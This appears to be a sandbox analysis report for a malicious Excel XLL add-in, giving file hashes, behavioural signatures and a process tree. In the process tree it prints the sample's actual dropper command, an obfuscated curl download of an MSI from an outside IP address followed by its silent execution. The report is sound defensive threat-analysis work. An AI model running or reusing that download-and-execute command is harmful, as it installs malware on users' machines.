Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    169s
  • max time network
    200s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230915-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
  • submitted
    11/10/2023, 14:04

General

  • Target

    a11bd2bde079c17dc7b6793404f812830e99af2883f33ee49c01bc8c85751d50_JC.xll

  • Size

    12KB

  • MD5

    ad86b0520d48a0b530915850244f196b

  • SHA1

    2d28250d44de5ce82ded47bfb29a8ae6353a3fa4

  • SHA256

    a11bd2bde079c17dc7b6793404f812830e99af2883f33ee49c01bc8c85751d50

  • SHA512

    138934773d669a60900a82ee011f781576dc82275b4c62e696472e1d5890c2b155bf60ecab4eefc1345d4c42fe125078013ee242b8581f28ad735cb288cb1a39

  • SSDEEP

    192:uU5z9iLjq2pJk+/qcJklyJOEd8LsWGQwrgAh:3z9AbJH/IwJOs3/QwrgC

Score
10/10

Malware Config

Extracted

Language
xlm4.0
Source

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies registry class 1 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of FindShellTrayWindow 4 IoCs
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\a11bd2bde079c17dc7b6793404f812830e99af2883f33ee49c01bc8c85751d50_JC.xll"
    1⤵
    • Loads dropped DLL
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1776
    • \??\c:\windows\system32\cmd.exe
      c:\windows\system32\cmd.exe /c c^url -o c:\users\public\1.msi http://51.195.49.233/dGp9oe/rAoeU0&&timeout 10&&c:\users\public\1.msi
      2⤵
      • Process spawned unexpected child process
      • Checks computer location settings
      • Modifies registry class
      • Suspicious use of WriteProcessMemory
      PID:216
      • C:\Windows\system32\curl.exe
        curl -o c:\users\public\1.msi http://51.195.49.233/dGp9oe/rAoeU0
        3⤵
          PID:4672
        • C:\Windows\system32\timeout.exe
          timeout 10
          3⤵
          • Delays execution with timeout.exe
          PID:5048
        • C:\Windows\System32\msiexec.exe
          "C:\Windows\System32\msiexec.exe" /i "C:\users\public\1.msi"
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of FindShellTrayWindow
          PID:3584

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\a11bd2bde079c17dc7b6793404f812830e99af2883f33ee49c01bc8c85751d50_JC.xll

      Filesize

      12KB

      MD5

      ad86b0520d48a0b530915850244f196b

      SHA1

      2d28250d44de5ce82ded47bfb29a8ae6353a3fa4

      SHA256

      a11bd2bde079c17dc7b6793404f812830e99af2883f33ee49c01bc8c85751d50

      SHA512

      138934773d669a60900a82ee011f781576dc82275b4c62e696472e1d5890c2b155bf60ecab4eefc1345d4c42fe125078013ee242b8581f28ad735cb288cb1a39

    • C:\Users\Admin\AppData\Local\Temp\a11bd2bde079c17dc7b6793404f812830e99af2883f33ee49c01bc8c85751d50_JC.xll

      Filesize

      12KB

      MD5

      ad86b0520d48a0b530915850244f196b

      SHA1

      2d28250d44de5ce82ded47bfb29a8ae6353a3fa4

      SHA256

      a11bd2bde079c17dc7b6793404f812830e99af2883f33ee49c01bc8c85751d50

      SHA512

      138934773d669a60900a82ee011f781576dc82275b4c62e696472e1d5890c2b155bf60ecab4eefc1345d4c42fe125078013ee242b8581f28ad735cb288cb1a39

    • memory/1776-17-0x00007FF93A9B0000-0x00007FF93ABA5000-memory.dmp

      Filesize

      2.0MB

    • memory/1776-19-0x00007FF93A9B0000-0x00007FF93ABA5000-memory.dmp

      Filesize

      2.0MB

    • memory/1776-2-0x00007FF8FAA30000-0x00007FF8FAA40000-memory.dmp

      Filesize

      64KB

    • memory/1776-5-0x00007FF8FAA30000-0x00007FF8FAA40000-memory.dmp

      Filesize

      64KB

    • memory/1776-6-0x00007FF93A9B0000-0x00007FF93ABA5000-memory.dmp

      Filesize

      2.0MB

    • memory/1776-7-0x00007FF8FAA30000-0x00007FF8FAA40000-memory.dmp

      Filesize

      64KB

    • memory/1776-8-0x00007FF93A9B0000-0x00007FF93ABA5000-memory.dmp

      Filesize

      2.0MB

    • memory/1776-9-0x00007FF93A9B0000-0x00007FF93ABA5000-memory.dmp

      Filesize

      2.0MB

    • memory/1776-18-0x00007FF93A9B0000-0x00007FF93ABA5000-memory.dmp

      Filesize

      2.0MB

    • memory/1776-11-0x00007FF8F89D0000-0x00007FF8F89E0000-memory.dmp

      Filesize

      64KB

    • memory/1776-12-0x00007FF93A9B0000-0x00007FF93ABA5000-memory.dmp

      Filesize

      2.0MB

    • memory/1776-13-0x00007FF93A9B0000-0x00007FF93ABA5000-memory.dmp

      Filesize

      2.0MB

    • memory/1776-14-0x00007FF93A9B0000-0x00007FF93ABA5000-memory.dmp

      Filesize

      2.0MB

    • memory/1776-16-0x00007FF8F89D0000-0x00007FF8F89E0000-memory.dmp

      Filesize

      64KB

    • memory/1776-4-0x00007FF93A9B0000-0x00007FF93ABA5000-memory.dmp

      Filesize

      2.0MB

    • memory/1776-1-0x00007FF93A9B0000-0x00007FF93ABA5000-memory.dmp

      Filesize

      2.0MB

    • memory/1776-10-0x00007FF93A9B0000-0x00007FF93ABA5000-memory.dmp

      Filesize

      2.0MB

    • memory/1776-15-0x00007FF93A9B0000-0x00007FF93ABA5000-memory.dmp

      Filesize

      2.0MB

    • memory/1776-20-0x00007FF93A9B0000-0x00007FF93ABA5000-memory.dmp

      Filesize

      2.0MB

    • memory/1776-3-0x00007FF8FAA30000-0x00007FF8FAA40000-memory.dmp

      Filesize

      64KB

    • memory/1776-0-0x00007FF8FAA30000-0x00007FF8FAA40000-memory.dmp

      Filesize

      64KB

    • memory/1776-24-0x00007FF93A9B0000-0x00007FF93ABA5000-memory.dmp

      Filesize

      2.0MB

    • memory/1776-25-0x00007FF93A9B0000-0x00007FF93ABA5000-memory.dmp

      Filesize

      2.0MB

    • memory/1776-26-0x00007FF93A9B0000-0x00007FF93ABA5000-memory.dmp

      Filesize

      2.0MB

    • memory/1776-43-0x00007FF8FAA30000-0x00007FF8FAA40000-memory.dmp

      Filesize

      64KB

    • memory/1776-44-0x00007FF8FAA30000-0x00007FF8FAA40000-memory.dmp

      Filesize

      64KB

    • memory/1776-46-0x00007FF93A9B0000-0x00007FF93ABA5000-memory.dmp

      Filesize

      2.0MB

    • memory/1776-45-0x00007FF8FAA30000-0x00007FF8FAA40000-memory.dmp

      Filesize

      64KB

    • memory/1776-48-0x00007FF93A9B0000-0x00007FF93ABA5000-memory.dmp

      Filesize

      2.0MB

    • memory/1776-47-0x00007FF8FAA30000-0x00007FF8FAA40000-memory.dmp

      Filesize

      64KB

    • memory/1776-50-0x00007FF93A9B0000-0x00007FF93ABA5000-memory.dmp

      Filesize

      2.0MB

    • memory/1776-49-0x00007FF93A9B0000-0x00007FF93ABA5000-memory.dmp

      Filesize

      2.0MB